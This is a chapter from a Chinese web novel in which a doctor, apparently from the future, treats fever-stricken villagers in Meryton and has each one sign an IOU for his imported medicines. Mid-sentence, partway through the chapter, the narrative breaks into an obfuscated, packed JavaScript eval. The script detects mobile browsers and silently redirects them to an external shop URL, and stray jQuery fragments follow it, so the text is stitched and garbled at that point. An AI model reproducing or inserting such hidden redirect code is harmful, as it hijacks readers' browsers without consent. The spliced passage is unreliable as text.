第11章天价医药费
裁缝铺在镇西头，是一栋两层的小楼，楼下是铺面，楼上是住家。西奥多推门进去的时候，铺面里黑漆漆的，柜台后面没有人。他喊了一声，楼上传来一阵咳嗽声，然后是一个女人的声音，沙哑的，有气无力的：“谁啊？”
“是我，菲利普斯家的西奥多。”他说。
楼上沉默了片刻，然后是一阵窸窸窣窣的声音，像是有人在挣扎着起床。西奥多没有等，直接上了楼。
楼上的情形和卡特家差不多。裁缝哈里斯先生躺在床上，烧得迷迷糊糊，嘴都张不开。他的妻子靠在床头，脸色蜡黄，眼眶凹陷，说话的声音像是从很远的地方传来的。
西奥多认得她。哈里斯太太，他小时候常来这家铺子改衣服，她总是笑眯眯的，夸他“又长高了”。现在她靠在床头，像是老了十岁。
“哈里斯太太。”西奥多在床边坐下，声音放得很轻，“我来看你们了。”
哈里斯太太看见他，眼眶一下子就红了。“西奥多……你可算来了……你哈里斯叔叔他……”
“我知道，我知道。”西奥多按住她的手，“我先看看他。”
他给裁缝检查了一遍——探了额头，搭了脉，翻了眼皮，按了腹部，又在躯干上找到了几个淡淡的粉色疹子。症状和班纳特先生一模一样。他又看了看两个孩子，大的那个脱水严重，嘴唇干裂，眼眶凹陷，意识模糊；小的那个烧得满脸通红，哭都没有力气。
他直起身，看着哈里斯太太，犹豫了一下，还是开了口。
“哈里斯太太，药我有。能治这个病的药，整个英格兰只有我这里有。”他说，“只是这些药是我从国外买的，花了很大的代价。”
哈里斯太太看着他，没有说话。她大概猜到了他要说什么。
“口服补液盐、抗生素、蒙脱石散，三样配合着用。”西奥多从布包里拿出一个纸包，打开，把药一样一样地摆出来，“三天的量，成本价——四英镑七先令。”
哈里斯太太的脸色白了。四英镑七先令。她丈夫做一件大衣才挣几个先令，一家六口人一个月的生活费也不过两三英镑。她低下头，看着床上烧得胡言乱语的丈夫，看着角落里奄奄一息的孩子，眼泪终于掉了下来。
“我知道您拿不出这么多钱。”西奥多说，声音更轻了，“所以我不收现钱。您写一张欠条，按上手印。等以后能周转了再还。”
他从布包里拿出一张事先准备好的纸，上面已经写好了格式。哈里斯太太不识字，西奥多读给她听——“兹欠西奥多·菲利普斯先生药款共计四英镑七先令，承诺于有能力时偿还。”
“您放心，这不是逼您。”西奥多说，看着她的眼睛，“只是走个形式。等镇上卫生改革的事定下来，这欠条我就当着大家的面烧了。”
哈里斯太太抬起头，看着他，眼泪还挂在脸上。“烧了？”
“烧了。”西奥多说，“一分不要。”
她愣了一会儿，然后接过笔，歪歪扭扭地签了自己的名字。西奥多从布包里拿出印泥，让她按了手印。她按的时候用了很大的力气，指印在纸上洇开了一团红。
西奥多把欠条收好，放进布包的内层口袋里。然后他拆开一袋口服补液盐，倒进碗里，兑上温水，搅了搅，递给哈里斯太太。
“您先把这个喝了。”他说，“您自己也病了，不能倒。”
哈里斯太太端着碗，手在抖。她喝了几口，停下来喘了喘，又喝了几口，把一碗都喝完了。她放下碗，抬起头看着西奥多，嘴唇动了动，想说什么，又咽了回去。
西奥多没有等她说话。他转过身，把药片喂给裁缝——掰开嘴，放在舌根上，喂一小勺水，托着他的下巴等他自己咽下去。裁缝烧得迷迷糊糊，吞咽得很慢，但总算是咽下去了。他又拆开一袋蒙脱石散，兑了水，搅成糊状，用小勺一点一点地喂给最小的那个孩子。孩子烧得没有力气哭，嘴唇碰到药糊，本能地舔了舔，又舔了舔，慢慢地咽了下去。
“明天再喂一次。”西奥多站起来，把手搭在哈里斯太太肩上，“用法和今天一样。您自己也要吃药，别忘了。”
哈里斯太太拉住他的手，攥得很紧。“西奥多……”她叫了一声，没有下文。
“没事的。”西奥多说，“都会好起来的。”
他提着布包出了门。
下一户是卡特家。西奥多推门进去的时候，玛丽正坐在床边，握着她男人的手，眼眶红红的，但没有哭。两个孩子缩在角落的被子里，一个在咳嗽，一个在哭。
“玛丽。”西奥多叫了一声。
她抬起头，看见他，眼泪一下子就涌了出来。“西奥多……你可算来了……我男人他……”她指了指床上，声音哽咽得说不下去。
西奥多走过去，在床边坐下。卡特先生烧得厉害，嘴唇干裂起皮，呼吸急促而浅，意识已经模糊了。他检查了一遍——高烧、呕吐、水样腹泻、玫瑰疹，和班纳特先生一模一样。
他转过身，看着玛丽，声音放得很轻。
“玛丽，药我有。能治这个病的药，整个英格兰只有我这里有。”他说，“只是这些药是我从国外买的，花了很大的代价。”
玛丽看着他，没有说话。
“三天的量，成本价——四英镑七先令。”
玛丽的脸白了。她低下头，看着床上那个烧得胡言乱语的男人，看着角落里两个孩子，嘴唇在抖。
“我知道你拿不出这么多钱。”西奥多说，声音更轻了，“所以我不收现钱。你写一张欠条，按上手印。等以后能周转了再还。”
他从布包里拿出欠条，读给她听。玛丽听完，抬起头看着他，眼眶红红的。
“你真的……有药能治好他们？”
“真的。”西奥多说，“我什么时候骗过你？”
玛丽愣了一下，然后眼泪就掉了下来。她接过笔，手抖得厉害，连自己的名字都写不稳。西奥多托着她的手，帮她写完了名字。她按手印的时候用了很大的力气，指印在纸上洇开了一团红。
西奥多把欠条收好，拆开一袋口服补液盐，兑了温水，递给玛丽。
“你先把这个喝了。”他说，“你自己也不能倒下。”
玛丽端着碗，喝了几口，又喝了几口，把一碗都喝完了。西奥多把药片喂给卡特先生，把蒙脱石散喂给两个孩子。小的那个还好，烧得不重，能自己吞咽。大的那个脱水严重，意识模糊，西奥多用小勺一点一点地喂，喂了很长时间才喂完。
“明天再喂一次。”西奥多站起来，“用法和今天一样。”
他走到门口，又回过头来。“玛丽。”
“嗯？”
“会好起来的。”
他提着布包出了门。
下一户是铁匠铺的老汤姆。老汤姆一个人住，烧了三天了，没人照顾。西奥多推门进去的时候，他正躺在铁砧旁边的稻草上，烧得说胡话。铁匠铺冷冰冰的，炉子早就灭了，风从门缝里灌进来，冻得人打哆嗦。
“汤姆叔叔。”西奥多蹲下来，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517931|203248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拍了拍他的脸，“醒醒，是我。”
老汤姆睁开眼睛，眼神涣散，看了他好一会儿才认出来。“小西奥多……”他的声音沙哑得几乎听不见，“你怎么来了……”
“来看你。”西奥多说，“你病了，你知道吗？”
老汤姆咧嘴笑了一下，露出几颗发黄的牙齿。“我知道……烧了好几天了……我以为我要去见上帝了……”
“还早着呢。”西奥多把他扶起来，扶到床上，给他盖好被子。他检查了一遍——高烧、脱水、玫瑰疹，症状不轻。
“汤姆叔叔，药我有。能治这个病的药，整个英格兰只有我这里有。”西奥多在他床边坐下，“只是这些药是我从国外买的，花了很大的代价。三天的量，四英镑七先令。”
老汤姆看着他，眨了眨眼。“四英镑七先令？”他笑了，“我这辈子都没见过这么多钱。”
“我知道。”西奥多说，“所以我不收现钱。你画个十字，按个手印，就算欠条了。等以后能周转了再还。”
老汤姆看着他，忽然不笑了。“你真给我药？”
“真给。”
“不要现钱？”
“不要。”
老汤姆沉默了一会儿，然后伸出手，在欠条上画了个十字，又按了手印。他画十字的时候手在抖，但画得很认真，一笔一划的。
“先生，我这辈子没欠过这么多钱。”他说。
“你会还的。”西奥多说。
老汤姆又笑了一下，没有再说话。西奥多把药喂给他，看着他咽下去，又给他喂了半碗补液盐水，然后把剩下的药放在床头。
“一天两次，别忘了。”他说，“明天我再来看你。”
他站起来，走到门口，又回过头来。“汤姆叔叔。”
“嗯？”
“你还没到去见上帝的时候。”
老汤姆笑了一下，闭上了眼睛。
西奥多提着布包出了门。
下一户。再下一户。再下一户。
他一家一家地走，一户一户地看。杂货店的老板娘、面包房的学徒、鞋匠家的三个孩子、马夫老杰克一家四口、磨坊主的老母亲、教堂的司事……六十三户人家，将近三百个病人，分布在麦里屯的每一条街道、每一个角落。有的是他从小认识的街坊，有的是面熟但叫不上名字的邻居，有的是只听说过但从未打过交道的人。但不管认不认识，他都做同样的事：先看病，再报价，然后拿出欠条，最后给药。
他报价的时候语气很轻，像是怕吓着他们。他说“四英镑七先令”的时候，会加上一句“我知道你拿不出这么多钱”或者“我知道你家里困难”。他让病人签字的时候，会托着他们的手，帮他们稳住笔。他给药的时候，会交代用法，会叮嘱他们照顾好自己，会说“会好起来的”。
没有人拒绝。不是不想拒绝，是没有资格拒绝。命都快没了，谁还顾得上讨价还价？
但也没有人怨恨他。因为他说的每一句话都是真的——药是他从国外买的，花了很大的代价。整个英格兰只有他这里有。他救了他们的命。
贝茨跟在他身后，提着灯笼，照亮泥泞的路。西奥多戴着一副薄薄的橡胶手套，蓝色的，在灯笼的光里泛着微微的光泽。没有人注意到。就算有人注意到了，也不会知道那是什么。
补液盐补上了病人流失的水分和电解质，抗生素杀死了肠道里的病菌，蒙脱石散止住了腹泻。对症下药，药到病除。这不是奇迹，是科学。但在这个时代，科学也需要时间。